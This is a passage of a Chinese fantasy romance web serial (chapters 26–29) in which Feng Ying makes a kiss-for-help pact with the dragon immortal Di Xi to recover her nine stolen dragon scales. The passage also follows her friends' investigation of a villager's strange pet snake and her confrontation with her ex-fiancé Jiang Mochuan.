准备脱衣服时,我尴尬地怯怯和龙仙大人商量:“那个……你能不能,转过去?” 龙仙大人面不改色,反呛道:“你身上什么地方本王、” 哽了哽,俊脸一红,语气依旧凉凉的: “就你这发育不良的身材,有什么地方值得藏着掖着的?” 我顿时自尊心深受打击! 虽然……他说的是实话吧。 但谁家好男人当面贴脸开大啊! 呜,龙仙大人实在太毒舌了。 我委屈兮兮地解开外衣,露出肩背,趴回床上老老实实地听他安排行动。 他走过来在床边坐下,揽袖用指腹轻轻按压我后背的伤痛处。 我习惯性地从枕头下掏出干净毛巾,咬在嘴里。 他见状蹙眉不悦问:“疼就喊出来,在自己家还顾忌这些?” 我把毛巾从嘴里拽出来,小声回答他:“从小到大都这样,习惯了。” 说完再把毛巾塞回去。 他指腹一顿,望着我的眼神晦暗幽深:“为什么,会有这个习惯?” 我拔出毛巾疼得满头大汗,叹道: “刚开始没有的,只会一个人躲在屋里哭。 后来我妈带了九副牌位回来,我的伤只会在每月十五复发,但胡玉衡他们也要在每月十五修炼,我怕吵着他们害他们走火入魔,就不敢弄出动静。 我忍痛力很强的,只要我不想出声,就算打断我的骨头我也能一声不吭!” 许是听出我话尾的小骄傲,他别过头去,喉中微微一哽。 “怎么,你难不成还想听本王夸夸你?” 我臭不要脸地趴在枕头上嘿嘿一笑:“也行啊!我喜欢听别人夸我。” 他再回过头,眼尾奇怪地染上了一抹猩红,看我的眼神还是略带嫌弃,施展法术给我止痛:“出息。” 我把毛巾塞嘴里咬了会儿,忍不住又昂头,放下毛巾,一把抓住他放在膝上的那只手。 他被我的动作惊了一下,立时警惕低斥:“你干什么?” 我晃了晃他的手,两眼放光地好奇问:“龙仙大人,你有名字吗?你叫什么名字!” 他垂眸淡漠盯我,沉默半晌,没良心地开口道了句:“就不告诉你。” 我意外啊了声,不解追问:“为什么啊!” 他用法力帮我止了身上的疼,拂袖收手,高高在上地傲娇道:“不为什么,就是不想告诉你。” 我不服气地抱着枕头哼哼: “问个名字而已,有什么不能说的,你都知道我名字了,我却不知道你名字,这不公平!” 他默默将头偏向外侧,我还想再磨磨他来着,可心底竟没缘由升起了一股、极焦躁痛苦的感觉…… 我肩膀明明不疼了啊! 为什么会有这种感觉。 再抬头,床侧坐着的男人已经消失不见了。 走得这么快…… 手臂上的黑龙印记也不见了。 难道……只有他在我身边,这个印记才会出现? 深夜,流苏没再来找我一起睡了,大概率是对门房间的电视机勾引了她。 我一个人蜷在床上睡得香甜,只是总会恍惚听见堂屋内仙家们的叽叽喳喳议论声。 不过,习惯了,这些仙家都是夜猫子。 哪像我,早起早睡的养生达人! “我是听说过,她大伯大娘剥了她身上九片龙鳞的事……可江墨川说这只是她为了博取我们怜悯同情撒的谎!” “对啊,小萦是身上灵气重,血里有仙息,槐荫村的人都说她是黄河龙女转世。 但咱们也没亲眼见过她的龙尾,也不知道她是不是真的龙女,更不晓得她到底长没长龙鳞啊……” “我们是生小萦的气,但不是气她选了江墨川,我们只是气她……哎!” “这些年江墨川一直在试图引导我们接纳风柔,甚至想让我们也成为风柔的保家仙,他的那点肮脏心思我们当然能看透! 但我们好歹是有原则的仙家,我们知道何为忠心事主,当年要不是因为小萦需要,我们几个早就魂飞魄散尸骨无存了。 就算我们恼小萦,小萦也是我们唯一的主人!” “就是,我们才不像江墨川,吸着小萦的血还帮着外人欺负小萦。” “我们不是存心不愿告诉小萦,江墨川和风柔的事,杨道长早就明里暗里,提醒了小萦很多次江墨川有二心,可小萦依旧对江墨川掏心掏肺,我们……也会心里不平衡的。” “我们真该死,就因为江墨川从中挑拨冷暴力了小萦四年!” “她明明最害怕孤独,四年前她明明已经变成了一个乐观爱笑的姑娘。 可我们、就因为江墨川的几句谎言,集体孤立她,怪不得她后来和我们说的话越来越少。” “我们连她身上有伤都不知道,她每月十五都发作,咱们却毫无察觉。” “不,我们以前,差一点就发现了,是江墨川说她是装的…… 可笑我后来竟也会生出江墨川看不上小萦,乃情理之中的想法。” 第一卷 第26章 本王帮你找龙鳞,你帮本王恢复修为 “还有你胡玉衡,这些年只有你和小萦联系的最多,你怎么什么都不知道!” “怪我?要不是你们把事情做得太过,我至于被你们连累,搞得最后小萦也不理我了吗!” “龙尊大人,我们该怎么做,才能让小萦原谅我们……” 后来响起的那道阴沉磁性的嗓音,像清风拂开我眼前的弥天浓雾,像一道阳光,穿透时空裂隙,温柔洒落我眉心—— “她不需要原谅你们,她现在是本王的伴侣,用不上你们的愧疚与补偿。” “龙尊大人……” “留着你们实在无用,你们给本王记住,再敢欺负她,本王让你们即刻魂飞魄散,永不超生!” “小仙不敢。” 再后来,那道怪异的稚童声又出现了。 “大王你是心疼了吗?大王你在给娘娘撑腰!” “她是本王的人,要欺负,也只能本王一人欺负,那些野仙算什么东西。” “哎——大王你的伤还没好,要不然,你就认命了吧,反正你和娘娘都已经那啥了,老夫老妻的,你有什么不好意思的嘛。” “你闭嘴!本王回水里再养养,本王便不信,没了风萦本王还能死不成?!” “啧,嘴硬的大王呐。” 夜里我又梦见小时候被大伯大娘按在长凳上剜龙鳞的那一幕了。 只是这回,我看见一片粉红色的龙鳞坠进了茫茫黄河内。 越坠越深。 我下意识伸手去捞,那龙鳞却从我的指缝漏掉,被浑浊河水卷向远方—— 鳞片,我的鳞片…… 后背上的伤又疼了。 清晨,我是被肩后火辣辣的灼痛感折磨醒的。 起床开房间门,抬头就看见我妈正拿着一副仙家牌位用抹布使劲擦拭。 仙家们排排坐,飘在神位上方,皆是低垂着脑袋胆战心惊瑟瑟发抖的用敬畏眼神偷瞄我妈。 余光瞟见我出房间了,八位仙家反应一致的两眼一亮,目露欣喜。 “小萦、”黄仙激动喊我,但被我妈一记眼刀给吓的立时缩回了牌位里。 剩下那几位仙家见状也不敢多待,纷纷跟着钻回牌位内。 这架势,分明是在躲我妈! 奇怪,家里这些仙家干嘛这么害怕我妈。 “妈。”我走过去挽住妈的胳膊,歪头靠在她肩上,小声问她:“你这几天在忙什么呢?” 我妈把擦拭干净的白仙牌位哐一声放回条案上,头一次肯耐心地向我解释: “我前几天离开村子办事了,去了南头桃花村给你舅爷爷上坟,所以没能在你需要的时候赶过去保护你。对不起,小萦。” 我挽着她胳膊,深呼一口气抿唇笑笑,摇头说: “妈不用说对不起,我这不是没事嘛,小萦已经长大了,而且还有龙仙大人在,不会有什么大问题的。 妈妈,你最近又瘦了,一个人住在姥姥家,你要照顾好自己。” 我妈拍拍我的手背,欣慰颔首:“妈知道了。妈这次来,是有话要和你说。” 我昂头认真询问:“什么话?” 我妈拿起桌上三炷香,用桌边的烛火点燃,香头朝下甩了甩明火,单手把三炷香插进琉璃香炉内,神情严肃道: “你如今成功找仙家借到了寿,下一步,你还得找回你被人夺走的那九片龙鳞,不然你还是会有魂飞魄散的风险。 仙家借给你的寿元只能保证你活着,那九片龙鳞却是你的精气神。 你还记得么,自从你丢失九片龙鳞后,你的身体就越来越差,这两年虽说我总用药吊着你的精神,但终归不是长久之计。 那些鳞片是你身体的一部分,只有把它们找回来,你才能摆脱病痛孱弱,才能变回,你本该成为的样子。 何况龙鳞流落在外,要是被心怀叵测之人得到利用,那果报可是会应在你头上的。 还有更坏的可能,万一你的龙鳞落到了那些玄门术士手里,他们动了歪心思,想用你的鳞片炼什么邪物,可是会危及你的小命。 所以,你现在还不能掉以轻心,得想法子找到你的龙鳞,把它拿回来。” “龙鳞?”时隔这么多年,再提起那些龙鳞,我有点迷茫:“可是我不知道大伯大娘把龙鳞卖去了哪,不知道买家是谁,这怎么找啊。” 我妈略思考了下,说:“没关系,只要找到第一片龙鳞,剩下的就好找了。” 万事开头难,麻烦的就是怎么找第一片龙鳞。 但所幸我妈又说:“第一片龙鳞已经出现了,你很快就知道它在哪了。” 龙鳞出现了? 难道第一片龙鳞就在槐荫村! 我妈和我说完这件事就平静离开了这个家,只留我一个人在堂屋里发呆。 黄仙从牌位里偷偷冒出来: “好事啊!只要能把丢失的那些龙鳞一片一片找回来,你就不用每月十五挨痛受罪了!” 鬼仙沈沐风认真问道:“我们能帮上什么忙吗?” 胡玉衡道: “要找龙鳞肯定有用得上我们的地方。 这样,小萦你需要我们的时候就把我们的牌位灌进麻袋里,背上我们一起行动。 我们虽说不能从牌位里出来,但我们可以帮你们远程攻击啊!” “就是就是,带上我们,我们就是你最坚实的后盾!” 四年了,我终于再次听见他们一起出来,热热闹闹的说话了。 但……这期盼已久的团圆,来的也太晚了。 我耸耸肩:“我现在还没有个头绪,不知道该怎么找,等我需要你们的时候,我再来求你们。” 仙家们没再说话,只面面相觑。 白仙呆呆望着我,欲言又止:“小萦……” 我吸了口冷气,奇怪,我妈和我说找龙鳞的时候,我的心怎么抽了下。 还有现在,怎么感觉乱乱的。 但又说不上来,哪里乱。 我魂不守舍的回屋,捂着胸口陷入自我怀疑:“心脏供血不足了?该死的江墨川!” 一定是他放了我太多血,把我放虚了。 我进屋后,堂屋里的仙家安静了很久。 倒杯凉茶准备压一压心脏的不适来着,谁知门外的白仙突然哇一声哭了起来,吓得我差点把水杯扔了。 白仙在堂屋里哭的悲天跄地,我本以为他是被谁欺负了,谁知他后面竟冒出一句:“小萦果然不愿意原谅我们!” 原谅什么? 他们又背着我和江墨川勾结,给我挖坑了?! 不过白仙没哭多久,就突然憋住了。 我放下水杯转身,忽觉扑面一阵寒意袭来,定眼一看,一袭墨紫龙纹古袍,清隽俊美的龙仙大人出现在了我跟前! 龙仙大人身上还携着清晨黄河水里的凛冽寒气,紫眸清澈幽深,且带着一丝神秘美感。 俊容略染三分绯红,不敢与我对视,目光躲闪地开口道:“风萦,本王同你做个交易。” 我愣了下,提起兴趣:“什么交易?” 龙仙大人怪异的拘谨闷咳两声,酝酿半分钟,才直视我的双眼,与我说:“本王帮你找龙鳞,你帮本王恢复修为!” 帮我找龙鳞! 我顿时兴奋起来,想也没想就点头答应:“好啊!” 有他帮我一起找,他那么厉害,肯定能让我事半功倍! 不过…… “恢复修为?”我后知后觉地苦着脸道:“我、不会啊。” 帮他恢复修为,难道是要我的血? 他犹豫着要回答,我抢先一步问:“需要我的血?说吧,你要多少!” 感谢老天爷,幸好血是能再生资源! 他哽了哽,好看的剑眉皱成一团。 清透似水玉的漂亮紫眸泛着温暖晶莹的光泽,像寒潭落下斑驳日光,漾开潋滟眸华。 俊脸晕开一抹酡红,他不自觉攥紧十指,目光虽不敢直视我,但眼底却酝酿着我从未见过的温柔。 “本王,不要你的血。帮本王恢复修为,需要用另一种方式。” 可能是太好奇他的答案了,我的心这会子扑通扑通跳个不停。 哎,我这好奇心也忒重了! “啊?什么方式啊?”我歪头追问。 他眉心拧得更紧了,踟蹰良久,才盯住我的眼,有种老实人豁出去了的绝望感,沉沉启唇:“吻本王。” 吻、他! 吻这个字眼落进我耳中,我那本就噗通乱跳的心猛地颤了下。 呼吸一滞,滚烫感迅速攀上耳根。 “吻、吻吻、吻你?”我都被他吓结巴了。 他勉强保持冷静淡漠的负袖转身,轻咳了声,语调平缓的解释:“别多想,本王对你发育不良的身体不感兴趣。” 我:“???” 过分了啊,又攻击我的身材! 龙仙大人接着解释: “你体内,有能助本王恢复修为的力量。 本王前日去了个地方,受了些内伤,靠本王自己运功调理,须得小半个月方能痊愈。 你体内的力量,本王唯有在与你亲近时,才能获取。” “亲近……”我有点懂了:“意思就是,我亲你,能帮你疗伤?” 他暗暗攥紧骨节分明的修长玉指: “嗯,还有,本王暂时还需要你的力量维持法力,往后本王出门办事,你得跟着本王。 作为交换,本王会帮你寻找九片龙鳞,所以,你若想本王助你得偿所愿,就得乖乖满足本王的要求。 风萦,本王给你考虑的时间,你答应,你我以后就是一条船上的人,不答应…… 你的命如今在本王手里,你该清楚,有些事,本王其实也无需和你商量!” 亲他就能给他疗伤,他需要我体内的力量维持法力? 这么简单! “可以!”我一口应下。 他背影一怔,但迟迟没有转身。 过了将近半分钟,才没有感情的冷嗤一声,阴沉着俊容回头:“风萦,你还真是个随便的……” 剩下的话,我没给他说出口的机会。 因为我已经主动扑过去,搂住他脖子,吻住了他的薄唇! 虽说是第一次这么真实地和他接吻……但幸好我目标找得准。 昂头就亲了上。 他颀长的身影猛一颤,不高兴地皱眉,伸手掐住我的腰无情推开我。 第一卷 第27章 龙仙大人的唇很好亲 “够了!本王不需要你这种水性……” 我被他指尖力度掐地疼吸一口冷气,赶在他给我定罪前认真开口:“因为是你,所以我才愿意。” 他愣住,被我这个答案给惊得呼吸一滞。 我心跳如雷地猛吞了口口水,尴尬道: “我不是随便的人,也没有水性杨花,你错怪我了,我只是觉得,你很好。 龙仙大人,你愿意借寿给我,还肯给我撑腰,我被江墨川欺负的时候也是你赶来救我,这些我都记在心上的。 不管你信不信,我身边现在能信任、能依靠的人就只有你。 你本来就是我的救命恩人,而且我们俩也早就有了那层关系,你都不嫌我,现在你需要我,能帮上你,我也很开心的。” 他这么怀疑我,我不觉得生气,但有点失落。 “那个,龙仙大人你也不用威胁我,以后你有什么需要我的地方直接开口就行了,我能做的,肯定都会尽力办到。” 他怔愣地扶着我腰,呆呆看我,寒潭般的冷艳凤目里似有一瓣梨花砸落水面,惊乱清凉眸华。 “本王……那么说你,你不生气?”他目光躲闪地轻轻问。 我摇头,“不啊。” 反正只是个误会,解释清楚不就成了。 他不敢看我:“那,难受吗?” 我心虚顿了下,“不难受。” “撒谎。”他低低一叹,大手扶在我后脑勺上,无奈说:“你心里在想什么,瞒不过本王。” 滚烫的吐息拂过我的耳鬓,他捧起我的脸,细密的长睫毛微微垂下,在流光溢彩的幽眸上洒落半片阴影。 顶着一张惊为天人的脸,靠近我,与我呼吸交缠。 “这次,是本王误会你了。但你做得很好,记住,往后本王再有冤枉你的地方,你就立刻告知本王。风萦,只要你愿解释,就足够了。” 说完,捞过我的脑袋再次自行吻住了我的两瓣红唇。 唇瓣相抵的那一刻,我的心头一软,脑海中万千杂念顷刻化作亿缕绵绵情丝,将我整个人温柔包裹其中—— 神魂的某个缺口,像时隔千年万载,终于再次被补全。 他的唇凉凉的,软软的,吻起来似小时候吃的果冻…… 心跳得好快,每一跳都足以震撼我的三魂七魄。 原来这就是接吻的感觉啊。 我并没有察觉到身体内有什么东西在流逝,以往拿血供养江墨川那个白眼狼时,我都会觉得到有缕无形的力量在从体内抽离。 但龙仙大人却不会给我这种感受…… 呜龙仙大人是个好人,他肯定是怕用力过猛把我吸死了。 这年头,能遇见一个有原则有底线还长得天下第一帅的仙家,不容易啊—— 不过,最近我的心脏它好像真有点毛病。 我明明还在走神,可心底却隐隐升起了丝丝缕缕欣喜贪婪之感…… 且随着龙仙大人愈发杂乱的呼吸声,我的心也砰砰跳得更加失分寸。 与我接吻的男人,好看的冰紫琉璃眸子里浸染了几分醉意,眸光愈发雾色朦胧,一手搂着我的腰,手臂收紧,一手揽着我的脑袋,大掌用力。 喘息失了节奏。 我不好意思地昂头直视那双雾蒙蒙的冰紫凤眸,见他浓密的长睫毛轻颤了两下,欲要下垂,脑子里突然冒出了一个缺德的想法! 我挣扎了下,惊碎了他眼底的和煦,忽把他推开,趁火打劫地问: “你到底叫什么名字,不告诉我就不给亲!” 他眉心微紧,被我打断兴致,有点气,但可能是还没吸够,便只好咬了咬后槽牙的压着火气告诉了我:“本王名唤帝曦,帝王的帝,日光之华是为曦。” “帝曦,这名字好听哎!” 奈何我刚解脱几秒,头就又被他无情扳过去。 “给本王老实些!”嗓音沙哑地说完,他急着吻住了我的唇。 我达到目的,在心里默念了这个名字两声,把它牢牢记住。 他亲我,是为了疗伤。 可被他亲的感觉,的确是我从未体会过的……舒服。 他再阖目,褪去一身寒息,拥着我,呼吸又乱。 我被他的杂乱呼吸声勾得心猿意马,不自觉抬手,搂住了他的腰。 像是,进入了恋人亲密的状态,我竟也开始呼吸急促,学着浅尝辄止。 心境下起了一场密密春雨。 也不知道他什么时候能吸完…… 突然感觉此刻的我有点耍流氓……我这么平庸,龙仙大人这么俊美…… 赚了赚了。 不敢想象他的基因未来生下的孩子多可爱。 人生最大的快乐,就是拥有一双能欣赏美的眼睛…… 这么好看的男人,就算把他放家里当花瓶看,也能每天令我心情愉悦,对眼睛不要太友好。 我肆无忌惮地在心底畅想美好未来,谁知龙仙大人像是有所感应一般,倏然放开我,面红耳赤的带着小情绪低斥:“风萦!不许在心里胡思乱想!” 我被吓一跳,顿时心虚不已连连点头答应:“好好好,我们继续!” 昂头就自觉地把唇送给了他。 吻上去的那一刻,他眼底清漪又被漾开一层。 身后的木窗户咯吱一声。 我本以为是风吹的,但谁知下一秒,几道声音相继响起—— “哇!” “哇——” “我的小白菜啊啊啊啊……” 是杨泽安流苏和阿乞师叔的声音! 我与龙仙大人皆是一惊,慌乱推开龙仙大人,诧异扭头,一眼就看见蹲在窗外,扒在窗台上的三颗脑袋! “你你你、你们干嘛呢!”我强烈谴责:“大白天扒我房间窗户做什么,没听说过非礼勿视嘛!” 龙仙大人的手还揽在我腰上,凌冽的眼刀剜过三人,冷声吓唬:“眼珠子不想要了?” 流苏与阿乞师叔当即动作一致地捂眼,只有杨泽安一人深受打击欲哭无泪的悲伤转过身,靠在窗框上,不要脸地哀嚎: “啊,我的小青梅,我的小白菜,怎么我才走一个星期,就被别人拱了呢!” 阿乞师叔很有先见之明地扯了扯杨泽安衣角,小声提醒:“你还是闭嘴吧,再胡说八道你就该成龙哥桌上一盘菜了!” 杨泽安听完被吓一哆嗦,道心不稳改口极快地再次蹲下去: “啊?那还是算了吧,你拱吧,我允许了!拱了她可就不能再收拾我了!” 我无语地抽了抽嘴角,这个杨泽安,一如既往地没心没肺。 龙仙大人没好气问道:“来干什么?” 阿乞小师叔指了指我:“找她八卦来着。” 龙仙大人沉默住,斟酌片刻道:“本王先回神位内运功休养,你们自便。” 说完,龙仙大人便一阵风消散了去。 我回头看不见他的影子,只能无奈出门找流苏杨泽安他们说话了。 我煮了四根玉米当早饭,分给阿乞师叔流苏和杨泽安一人一个。 和他们并排蹲在厨房门口边啃玉米边八卦。 杨泽安啃了一嘴玉米粒,口齿不清地说: “今早我和我哥去村子里巡查,路过咱们前几天埋鱼怪的地方,结果你猜怎么着!” 我漫不经心地猜测:“难不成鱼怪诈尸了?” 杨泽安:“哦那倒没有,只是埋鱼怪的坑被人挖了。” “啊?”我呆住,连忙追问:“别人挖鱼怪的尸体干什么?鱼怪难道还能起死回生?” “鱼怪的尸体没有丢。” 杨泽安捧着玉米棒故意凑过来恶心我: “不过它身上的烂肉被啃了,我和我哥过去那会子,坑里鱼怪的尸体只剩下一排鱼刺和鱼头鱼尾了,鱼刺上还挂着血糊糊的肉丝子。 也不知道是谁这么重口味,生吃,臭了还吃。” 他成功膈应到了我,我咽下嘴里的玉米粒,嫌弃骂他:“你能不能有点公德心,大家吃饭呢!” 杨泽安厚颜无耻地嘿嘿一笑,倒打一耙: “小萦你这抗压力不行啊!这就受不了了? 还好张叔当年要收你为徒,让你接他的班做村里的捞尸人,月隐姨没同意。 不然你看见被泡成巨人观的尸体不得吓得把尸体踹进河底,自个儿原路游回来啊!” 流苏也听不下去的不满嘀咕:“泽安哥你能不能别说了,大早上说这些多吓人啊!” 杨泽安连连应下:“好好好,我不说了,小姑娘就是不禁吓。” 我百思不得其解地问:“但是话说回来,村里人也没有猎奇到连鱼怪的肉都想尝尝是什么味的地步吧?” 阿乞师叔挽起袖子认真说:“鱼怪的肉怎么可能是人吃的,据我推测,大概率是蛇。” “蛇?”我更好奇了:“蛇还会吃鱼肉?” 好像是会吃,但我总觉得哪里怪怪的…… 阿乞师叔重重点头: “不止鱼肉呢,我和杨师侄一个小时前去村里老坟茔地转了圈,发现新下葬的几个坟,底部都有蛇打的洞,里面的尸体应该也被蛇吃得差不多了。” 杨泽安探过脑袋提醒: “黄河里的蛇吃腐肉,那些落水没打捞的尸体在黄河底下泡个十天半月,就会沦为水下生物的口粮!” 我听得头皮发麻:“什么蛇这么能吃,鱼怪那么大一条呢,该不会又是什么精怪吧!” 村里刚闹过鱼怪,要是再来个蛇怪,那也太倒霉了些。 咱们槐荫村今年的风水是不是有问题…… 阿乞师叔啃完玉米,顺手把玉米棒丢出院墙: “我们已经锁定了目标蛇,就在村南头赵三叔家里。 说来凑巧,我和杨师侄刚从老坟茔地回来就遇见了赵三叔。 赵三叔也在着急忙慌地找杨师侄,说是他儿子养的宠物蛇有问题,让杨师侄尽快去他家看看,晚了要出人命。” 流苏歪头不理解地问:“宠物蛇能有什么问题?我看网上的宠物蛇都不咬人。” 杨泽安干笑两声:“他儿子养的宠物蛇,是条两米长的大青蛇!” 我和流苏顿时噎住。 “两米长?”流苏怯怯往我身边挪挪:“那岂不是能把他儿子吃了?难怪说晚了要出人命。” 杨泽安握拳遮在唇边尴尬咳咳:“那个,他说的人命不是这个人命,他家的宠物蛇倒不会把他儿子吃了,而是……” 像是有什么难言之隐,杨泽安表情扭曲地艰难开口:“你们见过,蛇怀上人的孩子吗?” “啊?” 一句话留住了生性多疑的我! 杨泽安难受地哽了哽,迎上我和流苏见了鬼的目光,无奈说: “就是你们想的那个意思,他儿子养的那条蛇,夜夜都在他儿子的房间里……” 我低头努力拼凑我被震碎的三观。 流苏挽住我的胳膊,既害怕又好奇地眨了眨水灵灵大眼睛,天真问道:“不会有生殖隔离吗?” 我:“……” 第一卷 第28章 江墨川:风萦,你竟然为了别人骂我? 杨泽安:“……” 阿乞师叔听我们越说越偏,忙咳了咳打断我们,小声回答: “理论上来说,成了精怪的,和人、没有。精怪和没开智的那些生物,不在一个维度上,能突破一下……” 猛搓手臂上的鸡皮疙瘩,阿乞师叔受不了地站起身转移话题: “哎呀不说这个了,杨师侄今天有事,让我和泽安哥先去赵家看看情况,你们俩一起吗?” 我与流苏相视一眼,同时坚定点头。 “去!” 流苏高呼:“去看两米长的大蛇!” 阿乞师叔早有预料地摆手:“哎,早就知道苏苏姐和二姐抵不住诱惑,走吧,咱们去赵家抓蛇!” 我们对抓蛇没有兴趣,但我们对蛇和人……特别感兴趣! 上午九点钟,我们一行人到了村里的赵三叔家。 只是不巧,江墨川和风柔王白雾三个也在赵三叔家。 看见我们突然上门拜访,王白雾瞬间就不乐意了。 敌视的目光在我们身上扫了好几遍,扯嗓子不乐意地问杨家婶子: “婶子,我不是说过了嘛,我可以喊我师兄还有阿柔来给大山哥解决这件事,你怎么还是把他们喊了过来,他们都是些江湖骗子,不可信的!” 江墨川发现我也在,上一秒面对风柔还柔情百转的老脸下一秒就阴沉地冒寒气,不高兴的问:“你来这里干什么?” 风柔弱柳扶风的轻声嗔怪江墨川:“墨川哥哥你又忘记我和你说的话了。” 随后三步并两步地走到我跟前,握住我的手满眼关心道:“小萦你没事吧,你脖子上的伤……” 江墨川的注意力也被她一句话引到了我身上,深沉眼底划过一瞬的惊慌,下意识想抬手碰我。 “已经好了?幸好那些仙家有办法救你!”风柔欣喜叫道。 江墨川眼底那丝隐约的愧疚顿时荡然无存,手停在半空,心虚的迅速收回,负在腰后,紧接着就是冷言嘲讽:“我早就说过,她命硬,只有她克死别人的份。” 杨泽安恼火地把拳头捏得咯噔响,上前一步,仗义地替我打抱不平: “她命硬怎么没克死你呢,哪里来的疯狗,见人就咬。” “你说什么!”江墨川眼色一凛,本能的掌下凝出水刃想对杨泽安动手。 我见状立马把杨泽安拽回来,扔我身后挡住,不再给江墨川面子,反讥道:“和疯狗废什么话,狗又听不懂人言。” 江墨川一双漆黑的眸子死死盯着我,恨不得在我身上凿出两个洞,看我护着杨泽安,日常抽风的暴怒甩袖:“风萦,你竟然为了这废物骂我?你怎敢!” 我不卑不亢地冷哼一声:“要不然呢,你阴阳我,我不骂你难不成还要夸夸你吗?” “你!” 可能是怕我和江墨川再这么吵会露馅,风柔忙抓我的手羸弱委屈地红了眼眶: “你们别吵了,我知道都是我不好,小萦我对不起你,我不该抢你……” 后面的话风柔没说出口,但江墨川秒懂。 江墨川向来见不得风柔受委屈,闻言立时迈过来把她扯回自己怀里护住,怨念极重地瞪着我,咬牙警告:“风萦,再敢刺激柔儿,我绝不饶你!” 凶狠的眼神把流苏给吓得警惕挽我胳膊。 在旁边看戏的阿乞师叔干笑两声:“真是世界之大无奇不有,都给我看笑了。” 江墨川转移视线落在阿乞师叔身上,阴狠目光无意定格于阿乞师叔手腕处的那串佛珠上,顿时老脸一白。 阿乞师叔知道江墨川怕那串佛珠,故意摘下来挂在手指上转来转去: “二姐,我这串佛珠可厉害了,开过光!妖魔鬼怪碰一下就会魂飞魄散,你想玩吗,我可以送你玩几天!” 我瞟了眼江墨川那副不大好看的脸色,淡定婉拒: “不了,我怕我一个没忍住让你的佛珠见了血,弄脏你的佛珠,这样不好。” 还缠着赵家婶子的王白雾唯恐我欺负了她的好姐妹,捞起袖子要来给她好姐妹撑腰:“风萦,你这个扫把星……” 奈何她人刚迈过来两步就被赵家婶子给不耐烦拽了回去,四十来岁的赵家婶子不耐烦道: “好了!我都说了,老赵已经找杨道长他们处理这些事了,你们非要过来掺和!走走走,你们赶紧走,别耽误道长他们办事!” 赵家婶子不给面子地推开王白雾,王白雾厚着脸皮死活不走,抓着赵家婶子胳膊不甘心地争取道: “婶子,你就让我们来解决这件事吧,我们是专业的,而且我和大山哥一起长大,我担心大山哥!大山哥这样我不放心!” 赵家婶子一听这话脸色更难看了, “大山用得着你担心?白雾,别怪我这个婶子没提醒你,大山已经有媳妇了! 而且你爸的长项本来就不是看事,是看风水! 你们就别跟着瞎胡闹了,这种怪事上,我们还是更相信杨道长他们!” 话都说到这个份上了,王白雾还是不肯死心,死缠烂打祈求道:“婶子你就让我们来看看情况吧!大不了我们这次不收钱。” 江墨川也破天荒的跟着请求道: “三婶,你就让我们试试吧,实在不行,我们可以和……” 瞟了眼我们,他极为不爽地咬牙忍道: “和她们一起帮你处理这件事,多一个人,多一份力量,反正我们不要钱,我们只是想为村里邻居们做些事。” 不对,江墨川能有这么好心? 他这种唯利是图的蛟,我才不信他非要掺和这些事是为了日行一善。 王白雾拼命点头附和: “对啊对啊,婶子你就给我们这一个机会吧! 再说,我们阿柔可是能和黄河娘娘沟通的通灵使者,你就算不信我和师兄,也要信阿柔啊!” 提及通灵使者这重身份,赵家婶子不禁犹豫了下,心生动摇,昂头为难地用眼神求助阿乞师叔:“这位小道长……要不然,你们双方一起来?” 阿乞师叔一把抓住指尖转动的佛珠,大度道: “我不介意,他们想做好人好事就随他们呗,别碍我们的事就行!” 杨泽安在旁边拍拍手,故意呛王白雾: “我们也不收钱。而且准确来说,我们就没收过钱,不像某些人,掉钱眼去了。啧,还是我们性价比高!” 王白雾不服气地挽住赵家婶子胳膊,朝杨泽安重重哼了声。 赵家婶子唯恐我们又吵起来,忙带我们进入正题:“我先带几位去我儿子家看看。” 说着,领我们离开堂屋往西头她儿子的三间平房方向去。 赵三叔和他小儿子家都没盖院子,父子俩的住处挨得很近,中间不到一里路距离。 从赵三叔家堂屋屋后那条小路往北走几步路,就到了他小儿子家门口。 赵家婶子惆怅叹气,边走边和我们介绍她儿子的情况: “大山是我和老赵的小儿子,六年前娶了媳妇,就和咱们老两口分家了。 我和他爹拿了八万块钱给他盖了这三间平房,好让他和他媳妇安心过日子。 这孩子,打小就喜欢养些稀奇古怪的虫子,什么蛤蟆啊,水蛇啊,泥鳅啊,他都养过。 他结婚后,我和他爹为了不打搅他们小两口的生活,就很少来这边。 他这个新媳妇呢又是个闷葫芦,平时三棒子打不出一个屁。 我和老赵还是半个月前看大山脸色发青,这才察觉到不对劲的。” 我正聚精会神地听赵家婶子说话,手腕却突然被一只冰冷的大手猛地攥住。 紧接着,那人把我强行拽到了旁边的竹林里,刻意等赵婶子他们走远才压低声冷脸命令: “风萦,你来掺和什么!你怎么什么都要和柔儿抢? 听着,把杨泽安他们带走,这件事,你们不要插手。” 第一卷 第29章 和她滚在了床上 我没好气地嫌弃甩开他,揉了揉被他攥疼的腕骨厌恶道:“你脑子有问题?我凭什么要听你的。” 许是发现我如今对他的态度已经和从前不一样了,他哽了哽,眼神飘忽地没再和我硬碰硬,语气放轻几分: “风萦,前几天的事是我不对……我会补偿你。你听话,别再掺和赵家的事了。 这几天我没回去,是因为柔儿那天在黄河岸边受了惊吓,她胆小身子弱,我得陪在她身边。 我答应你,等我把赵家的事解决完,我就去和你成亲。 日子你来挑,你之前的那身嫁衣已经毁坏了,我会找裁缝给你重新做。” 我没忍住冷笑出声:“你觉得你现在还能用结婚来拿捏我吗?我倒是很好奇,赵家究竟有什么秘密,值得你这么费心思。” 江墨川紧了紧眉心, “我感应到赵家有能给柔儿治病的灵物,风萦,别使小性子,我这是在帮你还债。 柔儿的身体一天不好,你就一天亏欠她!” 怪不得他非要来凑赵家的热闹呢,原来是为了给风柔治病。 前半句的确让我心生犹豫了,但后半句却听得我火气蹭蹭往天灵盖上顶。 我昂头毅然盯着他强调: “少道德绑架我了,我承认风柔是因为我才落下病根,你从前说我亏欠她,我也认了。 但是你给我搞清楚,她受的那些罪并不是我加注在她身上的! 我有让大伯大娘不给她饭吃,是我逼着她去睡牛屋,逼着她寒冬腊月洗衣服吗? 她小时候经历的那些苦难都是她亲爹妈给予的,虽然原因在我身上,我的确并不无辜,我对她心有愧疚,但我就不冤枉吗? 凭什么把所有罪过都压在我一个人头上,明明罪魁祸首是她爸妈,是你的亲岳父岳母,你怎么不说风大年两口子亏欠她,你怎么不找风大年两口子讨债呢! 你就会洗脑我,因为风大年是风柔的亲爸妈,我是个外人,你不好找风柔的亲爸妈麻烦,就会捏我这个软柿子! 江墨川,你口口声声说我亏欠风柔的时候,怎么就没想过,风柔全家也亏欠我? 风柔是被冻伤了身子,我也被剥了九片龙鳞!十七岁那年我差点就死了! 当初风大年两口子拿我的龙鳞去换钱买肉,那些肉风柔也吃了! 你怎么那么双标呢,救命恩人的苦难视若不见,心上人掉根头发你都恨不得洗脑这个世界说是地心引力害了她,你要脸吗!” 